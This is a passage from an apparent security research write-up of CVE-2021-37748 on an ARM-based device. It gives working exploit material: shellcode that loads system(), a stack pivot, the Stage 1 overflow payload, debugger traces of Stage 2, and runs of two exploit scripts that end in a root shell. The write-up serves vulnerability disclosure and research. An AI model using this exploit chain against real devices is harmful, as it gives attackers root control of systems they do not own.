q,w,e,r = unpack('4B',pack('>I',system))
load_system = asm("""
mov r6, #%d; 
mov r6, r6, lsl #8; 
add r6, r6, #%d; 
mov r6, r6, lsl #8; 
add r6, r6, #%d;  
mov r6, r6, lsl #8; 
add r6, r6, #%d; 
mov pc, r6
""" % (q,w,e,r))

There is a high chance that the generated shellcode would not contain bad-bytes.

Stack pivot

Having fixed the registers to allow us to safely return to the 0x9AC4 (config) sub-routine, we still have to figure out a way to trigger the Stage 2 shellcode.


If we attempt to exit before returning, the sub-routine must readjust the stack to its initial state (before the function call), so the program can continue with its normal flow. The epilogue will perform two instructions, that will move the stack pointer by hex 0x254 (readjust) and will pop the values from the stack into the R4-R11 registers, among with the most important one - program counter:


We've noticed that after the overflow happens, there are heap pointers stored on the stack at multiple locations. One of which is particularly interesting:

0xcea062a0│+0x0250: 0x00000000
0xcea062a4│+0x0254: 0x00000073 ("s"?)
0xcea062a8│+0x0258: 0x00000000
0xcea062ac│+0x025c: 0x00000020
0xcea062b0│+0x0260: 0x00000000
0xcea062b4│+0x0264: 0x00000001
0xcea062b8│+0x0268: 0x00000013
0xcea062bc│+0x026c: 0x00010000
0xcea062c0│+0x0270: 0x00000003
0xcea062c4│+0x0274: 0x00000008
0xcea062c8│+0x0278: 0x00000008
0xcea062cc│+0x027c: 0x00000008
0xcea062d0│+0x0280: 0x00000008
0xcea062d4│+0x0284: 0x00000008
0xcea062d8│+0x0288: 0x00000008
0xcea062dc│+0x028c: 0x00000008
0xcea062e0│+0x0290: 0x00000008
0xcea062e4│+0x0294: 0xcea06430  →  0x00016170  →  0x00000000
0xcea062e8│+0x0298: 0x00016170  →  0x00000000
0xcea062ec│+0x029c: 0x00000000
0xcea062f0│+0x02a0: 0x00000000

This would be a good candidate for populating the R4-R11 registers along with PC. We do not control the content of the R4-R10 registers, however, we do control the Frame Pointer (R11) and PC (Program Counter) - therefore, it will be trivial to redirect the program flow.

The pivoting must be done in the Stage 1 shellcode, before we return to the config sub-routine from `puts()`. A calculated pivot that will tailor the stack for our needs:

pivot = asm('sub sp,sp, #964;')

For sanity, the final payload for Stage1 will be as follows:

sc = pivot + fix_regs + load_puts_got + jmp_puts
payload = b'A'*134 + sc

The following figure shows the moment of the POP instruction with a pivoted stack:

──────────────────────────────────────────────────────────── code:arm:ARM ────
  0xa56c                  bl     0x9170 <fflush@plt>
  0xa570                  b      0x9ae8
● 0xa574                  add    sp,  sp,  #596	; 0x254
 → 0xa578                  pop    {r4,  r5,  r6,  r7,  r8,  r9,  r10, r11, pc}
   ↳     0x16170                  mov    r6,  #198	; 0xc6
         0x16174                  lsl    r6,  r6,  #8
         0x16178                  add    r6,  r6,  #213	; 0xd5
         0x1617c                  lsl    r6,  r6,  #8
         0x16180                  add    r6,  r6,  #254	; 0xfe
         0x16184                  lsl    r6,  r6,  #8
───────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gs_config", stopped 0xa578 in ?? (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────── trace ────
[#0] 0xa578 → pop {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11,  pc}
gef➤  telescope $sp
0xceb752c8│+0x0000: 0x00000008	 ← $sp
0xceb752cc│+0x0004: 0x00000008
0xceb752d0│+0x0008: 0x00000008
0xceb752d4│+0x000c: 0x00000008
0xceb752d8│+0x0010: 0x00000008
0xceb752dc│+0x0014: 0x00000008
0xceb752e0│+0x0018: 0x00000008
0xceb752e4│+0x001c: 0xceb75430  →  0x42424242
0xceb752e8│+0x0020: 0x00016170  →  0xe3a060c6
0xceb752ec│+0x0024: 0x00000000

The R4-R11 registers are going to be populated with words from the stack starting at offset 0x0; finally popping the heap pointer at offset 0x20 into the program counter. The program flow will continue by executing the instructions stored at 0x16170, thus our Stage2 shellcode:

gef➤  x/16i 0x00016170
   0x16170:	mov	r6, #198	; 0xc6
   0x16174:	lsl	r6, r6, #8
   0x16178:	add	r6, r6, #213	; 0xd5
   0x1617c:	lsl	r6, r6, #8
   0x16180:	add	r6, r6, #254	; 0xfe
   0x16184:	lsl	r6, r6, #8
   0x16188:	add	r6, r6, #176	; 0xb0
   0x1618c:	ror	r0, r6, r2
   0x16190:	mov	r6, #198	; 0xc6
   0x16194:	lsl	r6, r6, #8
   0x16198:	add	r6, r6, #213	; 0xd5
   0x1619c:	lsl	r6, r6, #8
   0x161a0:	add	r6, r6, #213	; 0xd5
   0x161a4:	lsl	r6, r6, #8
   0x161a8:	add	r6, r6, #76	; 0x4c
   0x161ac:	mov	pc, r6

Final exploits:

$ python3 CVE-2021-37748-path1-ssh.py
[*] Forcing allocation on the Heap.
[*] Shellcode len: 30
# uname -a; busybox id
Linux HT8XX 3.4.20-rt31-dvf-v1.2.6.1-rc2 #75 PREEMPT Fri Mar 26 16:38:10 CST 2021 armv5tejl GNU/Linux
uid=0(root) gid=0(root) groups=0(root)

$ python3 CVE-2021-37748-path2-ssh.py
[*] Executing Stage1
[*] puts      : 0xc6d64654
[*] libc_base : 0xc6d32000
[*] system    : 0xc6d9054c
[*] binsh     : 0xc6d92eb0
[*] Payload clean
[*] Executing Stage2
# uname -a; busybox id
Linux HT8XX 3.4.20-rt31-dvf-v1.2.6.1-rc2 #75 PREEMPT Fri Mar 26 16:38:10 CST 2021 armv5tejl GNU/Linux
uid=0(root) gid=0(root) groups=0(root)


You can grab the code here:





You may also be interested in...

Nov. 24, 2014

Tunna v1.1a SOCKS!

Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP.

See more
April 1, 2019

Death by keystrokes

As part of our Red Team operations, at SECFORCE we research about effective and stealthy ways of delivering and executing arbitrary code on victim workstations.

See more